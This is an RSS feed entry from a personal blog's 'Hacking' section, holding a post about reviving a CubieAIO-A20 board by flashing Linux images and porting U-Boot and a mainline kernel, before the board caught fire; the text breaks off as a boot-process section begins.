<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[Recursive Realities: Hacking]]></title><description><![CDATA[A chronicle of my hacking journey, breaking systems to understand them, and understanding them to rebuild trust. This is where precision meets curiosity.]]></description><link>https://blog.neagaru.com/s/hacking</link><image><url>https://substackcdn.com/image/fetch/$s_!w9Tb!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F538a63ec-41bb-4238-a5cb-88465a852705_1148x1148.png</url><title>Recursive Realities: Hacking</title><link>https://blog.neagaru.com/s/hacking</link></image><generator>Substack</generator><lastBuildDate>Sat, 04 Apr 2026 09:12:01 GMT</lastBuildDate><atom:link href="https://blog.neagaru.com/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[Daniel Neagaru]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[neagaru@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[neagaru@substack.com]]></itunes:email><itunes:name><![CDATA[Daniel Neagaru]]></itunes:name></itunes:owner><itunes:author><![CDATA[Daniel Neagaru]]></itunes:author><googleplay:owner><![CDATA[neagaru@substack.com]]></googleplay:owner><googleplay:email><![CDATA[neagaru@substack.com]]></googleplay:email><googleplay:author><![CDATA[Daniel Neagaru]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[I Tried to Port Linux to an Obscure SoC. It Caught Fire.]]></title><description><![CDATA[Ported U-Boot, the Linux kernel, and Arch to an ancient SoC&#8212;then lost it to the magic smoke.]]></description><link>https://blog.neagaru.com/p/i-tried-to-port-linux-to-an-obscure</link><guid isPermaLink="false">https://blog.neagaru.com/p/i-tried-to-port-linux-to-an-obscure</guid><dc:creator><![CDATA[Daniel Neagaru]]></dc:creator><pubDate>Thu, 07 Aug 2025 22:26:54 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!3WZr!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c296bcc-572f-4916-a471-763b7d0c7d9f_1000x857.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!3WZr!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c296bcc-572f-4916-a471-763b7d0c7d9f_1000x857.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!3WZr!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c296bcc-572f-4916-a471-763b7d0c7d9f_1000x857.jpeg 424w, https://substackcdn.com/image/fetch/$s_!3WZr!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c296bcc-572f-4916-a471-763b7d0c7d9f_1000x857.jpeg 848w, https://substackcdn.com/image/fetch/$s_!3WZr!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c296bcc-572f-4916-a471-763b7d0c7d9f_1000x857.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!3WZr!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c296bcc-572f-4916-a471-763b7d0c7d9f_1000x857.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!3WZr!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c296bcc-572f-4916-a471-763b7d0c7d9f_1000x857.jpeg" width="1000" height="857" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0c296bcc-572f-4916-a471-763b7d0c7d9f_1000x857.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:857,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:162911,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://blog.neagaru.com/i/170367488?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c296bcc-572f-4916-a471-763b7d0c7d9f_1000x857.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!3WZr!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c296bcc-572f-4916-a471-763b7d0c7d9f_1000x857.jpeg 424w, https://substackcdn.com/image/fetch/$s_!3WZr!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c296bcc-572f-4916-a471-763b7d0c7d9f_1000x857.jpeg 848w, https://substackcdn.com/image/fetch/$s_!3WZr!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c296bcc-572f-4916-a471-763b7d0c7d9f_1000x857.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!3WZr!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0c296bcc-572f-4916-a471-763b7d0c7d9f_1000x857.jpeg 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h1>Introduction</h1><p>What started as a weekend experiment to install Arch Linux turned into a full-scale resurrection: reverse-engineering legacy FEX files, manually tuning DRAM timings, enabling graphics, and even setting up UART debugging with an Arduino. I ported U-Boot. I got a mainline Linux kernel running. Arch booted. The framebuffer came alive. <strong>And then it caught fire.</strong></p><p>I bought the <a href="http://www.cubietech.com/product-detail/cubieaio-a20/">CubieAIO-A20</a> years ago. Back then, it looked like the perfect little hacker machine: touchscreen, metal enclosure, SIM slot, USB ports, Wi-Fi&#8212;all in a compact form factor. It came preloaded with Android 4.2, which I immediately tried to replace with Linux. I failed. And like so many failed side projects, it went onto the shelf to gather dust.</p><p>Years later, after building <a href="https://utms.io/">UTMS</a>&#8212;a programmable time modeling system&#8212;I started thinking about physical interfaces. Smart controller nodes. Something small, embedded, always on. And I remembered the Cubie. It had everything. All it needed was a modern OS.</p><p>What started as a weekend experiment to install <a href="https://archlinux.org">Arch Linux</a> turned into a full-scale resurrection effort: reverse engineering <a href="https://linux-sunxi.org/Fex_Guide">legacy FEX files</a>, manually tuning <a href="https://linux-sunxi.org/A10_DRAM_Controller_Calibration">DRAM timings</a>, <a href="https://linux-sunxi.org/Display">enabling graphics</a>, and even setting up UART debugging using an <a href="https://docs.arduino.cc/hardware/uno-rev3/">Arduino Uno R3</a>. I ported <a href="https://github.com/u-boot/u-boot">U-Boot</a>. I got a mainline Linux kernel running. Arch booted. The framebuffer came alive.</p><p>And then the board started smoking. How did I get here?</p><h1>Background and Context</h1><p>The CubieAIO-A20 seemed like it should have been a serious contender. Designed as an all-in-one industrial panel PC, it packed a sturdy metal case, a touchscreen, Wi-Fi, a SIM slot, and a decent amount of I/O: multiple USB ports, audio jacks, IR, and GPIO headers. At its heart was the <a href="https://linux-sunxi.org/A20">Allwinner A20</a>&#8212;a dual-core ARM Cortex-A7 SoC paired with 1GB DDR3 RAM and onboard NAND storage.</p><p>It promised flexibility and durability. CubieTech even designed a modular compute core, called <a href="http://www.cubietech.com/product-detail/einstein-a20/">Einstein-A20</a>, to make it easier for embedded projects to adopt. On paper, it was a polished, ready-to-deploy system for kiosks, dashboards, or smart controllers.</p><p>But despite this hardware promise, the board failed to gain traction. The timing was bad: by the time it launched, more powerful boards with active communities were sweeping the market. <a href="https://www.raspberrypi.com/">Raspberry Pi</a>&#8217;s ecosystem was booming, and <a href="https://www.beagleboard.org/boards/beaglebone-black">BeagleBone</a> was solidifying its industrial foothold. The CubieAIO was stuck running ancient Android 4.2 or outdated, blob-heavy Linux images based on Linaro builds, with no modern, mainline kernel support.</p><p>If you&#8217;ve never heard of &#8220;Linaro Linux,&#8221; you&#8217;re not alone &#8212; neither had I. I assumed it was some obscure embedded distro, but it turns out it was never a real distribution at all. <a href="https://www.linaro.org/">Linaro is (or was) an engineering consortium</a> that provided ARM reference builds and toolchains, not end-user operating systems. Vendors like Cubietech took these experimental Ubuntu-based images &#8212; built with Linaro&#8217;s toolchains and patched kernels &#8212; and shipped them as if they were official OS releases. What I installed was an abandoned engineering demo, not a maintained platform.</p><p>The software ecosystem was its Achilles&#8217; heel. Allwinner&#8217;s SDKs locked developers behind proprietary FEX configuration files, partial documentation, and confusing register-level details that were often missing or poorly explained. The community around CubieTech never materialized into an active developer base. No forums thrived, no upstream patches appeared, no mainline support came. It became an orphaned platform.</p><p>I first booted it years ago, briefly saw its outdated Android UI, tried and failed to get Linux running properly, and shelved it. The board gathered dust as the software landscape moved on without it.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!fDrC!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F127085ea-2fde-44ff-8743-256f2a442324_1000x857.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!fDrC!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F127085ea-2fde-44ff-8743-256f2a442324_1000x857.jpeg 424w, https://substackcdn.com/image/fetch/$s_!fDrC!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F127085ea-2fde-44ff-8743-256f2a442324_1000x857.jpeg 848w, https://substackcdn.com/image/fetch/$s_!fDrC!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F127085ea-2fde-44ff-8743-256f2a442324_1000x857.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!fDrC!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F127085ea-2fde-44ff-8743-256f2a442324_1000x857.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!fDrC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F127085ea-2fde-44ff-8743-256f2a442324_1000x857.jpeg" width="1000" height="857" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/127085ea-2fde-44ff-8743-256f2a442324_1000x857.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:857,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:161227,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.neagaru.com/i/170367488?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F127085ea-2fde-44ff-8743-256f2a442324_1000x857.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!fDrC!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F127085ea-2fde-44ff-8743-256f2a442324_1000x857.jpeg 424w, https://substackcdn.com/image/fetch/$s_!fDrC!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F127085ea-2fde-44ff-8743-256f2a442324_1000x857.jpeg 848w, https://substackcdn.com/image/fetch/$s_!fDrC!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F127085ea-2fde-44ff-8743-256f2a442324_1000x857.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!fDrC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F127085ea-2fde-44ff-8743-256f2a442324_1000x857.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">CubieAIO running Android 4.2</figcaption></figure></div><p>When I decided to revisit it as a smart controller for UTMS, I knew I was diving into a forgotten ecosystem. What I didn&#8217;t expect was how deep and brutal the resurrection would be&#8212;and how the board would pay its dues with smoke.</p><h1>Resurrection Begins</h1><p>When I first tried flashing <a href="https://www.armbian.com/cubieboard-2/">Armbian images made for the CubieBoard2 and CubieTruck</a>, the screen stayed black. At first, I thought the board wasn&#8217;t booting at all&#8212;it looked dead. I had no idea what was going on, and honestly, that was where I threw in the towel the first time I bought the device. No output, no progress, nothing.</p><p>Only later did I realize the board <em>was</em> booting&#8212;the problem was the screen simply wasn&#8217;t working with those images. But I didn&#8217;t know that then. So, frustrated, I turned to the <a href="http://cubieboard.org/download/">official CubieBoard download</a> page for guidance.</p><p>That page was a disaster. Links to FTP servers were broken. Downloads were scattered across Mega, Baidu, and random HTTP mirrors. The English download section sent me to Mega, but navigating it felt like stepping into a digital ghost town. The comment sections were frozen in time&#8212;last active over a decade ago&#8212;with users complaining about the same lack of updates and support.</p><p>Despite the mess, I found <a href="https://mega.nz/folder/ZtwxCCJC#AIYHcTqz-ucjuzKnE9qD7A/folder/ks4ShKpA">three images labeled</a> for the CubieAIO-A20: Android 4.2, Debian Jessie, and Linaro 14.04. I picked the Linaro image, flashed it on an SD card, and powered the board on. This time, something different happened&#8212;the board actually started booting and began installing the OS.</p><p>While it was doing its thing, I grabbed <a href="https://mega.nz/folder/ZtwxCCJC#AIYHcTqz-ucjuzKnE9qD7A/file/N5gzSbYB">the installation guide</a> linked alongside the image. It was painful to read. Broken English, vague instructions, cryptic warnings. A snippet read something like:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!QU-H!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f9e5d2c-a110-41ea-b573-bc735ae365ae_1290x378.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!QU-H!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f9e5d2c-a110-41ea-b573-bc735ae365ae_1290x378.png 424w, https://substackcdn.com/image/fetch/$s_!QU-H!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f9e5d2c-a110-41ea-b573-bc735ae365ae_1290x378.png 848w, https://substackcdn.com/image/fetch/$s_!QU-H!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f9e5d2c-a110-41ea-b573-bc735ae365ae_1290x378.png 1272w, https://substackcdn.com/image/fetch/$s_!QU-H!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f9e5d2c-a110-41ea-b573-bc735ae365ae_1290x378.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!QU-H!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f9e5d2c-a110-41ea-b573-bc735ae365ae_1290x378.png" width="1290" height="378" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2f9e5d2c-a110-41ea-b573-bc735ae365ae_1290x378.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:378,&quot;width&quot;:1290,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:131060,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.neagaru.com/i/170367488?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f9e5d2c-a110-41ea-b573-bc735ae365ae_1290x378.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!QU-H!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f9e5d2c-a110-41ea-b573-bc735ae365ae_1290x378.png 424w, https://substackcdn.com/image/fetch/$s_!QU-H!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f9e5d2c-a110-41ea-b573-bc735ae365ae_1290x378.png 848w, https://substackcdn.com/image/fetch/$s_!QU-H!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f9e5d2c-a110-41ea-b573-bc735ae365ae_1290x378.png 1272w, https://substackcdn.com/image/fetch/$s_!QU-H!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f9e5d2c-a110-41ea-b573-bc735ae365ae_1290x378.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Excerpt from official installation manual</figcaption></figure></div><p>I had to guess what they meant. It felt like reading a bad high school homework assignment, not official docs.</p><p>The weirdest part: after flashing, the board shuts down <em>automatically</em> with no clear success signal. You have to power it back on manually to get any display. No &#8220;done&#8221; message. No progress bar. Just silence and waiting.</p><p>But I stuck with it. I waited for the &#8220;automatic shutdown,&#8221; powered it back on, and suddenly I was greeted by a working Linaro Linux. Finally, I was inside a familiar environment, able to run commands and explore the system freely.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!etA3!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa187140-e941-4b9a-9bf2-e447ce8a6381_1526x1536.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!etA3!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa187140-e941-4b9a-9bf2-e447ce8a6381_1526x1536.jpeg 424w, https://substackcdn.com/image/fetch/$s_!etA3!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa187140-e941-4b9a-9bf2-e447ce8a6381_1526x1536.jpeg 848w, https://substackcdn.com/image/fetch/$s_!etA3!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa187140-e941-4b9a-9bf2-e447ce8a6381_1526x1536.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!etA3!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa187140-e941-4b9a-9bf2-e447ce8a6381_1526x1536.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!etA3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa187140-e941-4b9a-9bf2-e447ce8a6381_1526x1536.jpeg" width="1526" height="1536" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fa187140-e941-4b9a-9bf2-e447ce8a6381_1526x1536.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1536,&quot;width&quot;:1526,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:308802,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.neagaru.com/i/170367488?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1d159e58-53f8-4fbb-8f3f-e3f5cb838602_1536x2048.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!etA3!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa187140-e941-4b9a-9bf2-e447ce8a6381_1526x1536.jpeg 424w, https://substackcdn.com/image/fetch/$s_!etA3!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa187140-e941-4b9a-9bf2-e447ce8a6381_1526x1536.jpeg 848w, https://substackcdn.com/image/fetch/$s_!etA3!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa187140-e941-4b9a-9bf2-e447ce8a6381_1526x1536.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!etA3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa187140-e941-4b9a-9bf2-e447ce8a6381_1526x1536.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Linux running on my CubieAIO</figcaption></figure></div><p>This breakthrough was huge&#8212;it meant the board could run a modern Linux distro. But the screen issue I faced earlier hinted at deeper problems with hardware support, which I wouldn&#8217;t uncover until much later, after I had set up UART debugging.</p><h1>Where the Boot begins: The Hunt for First Code</h1><p>As exciting as it was to finally see the board boot into 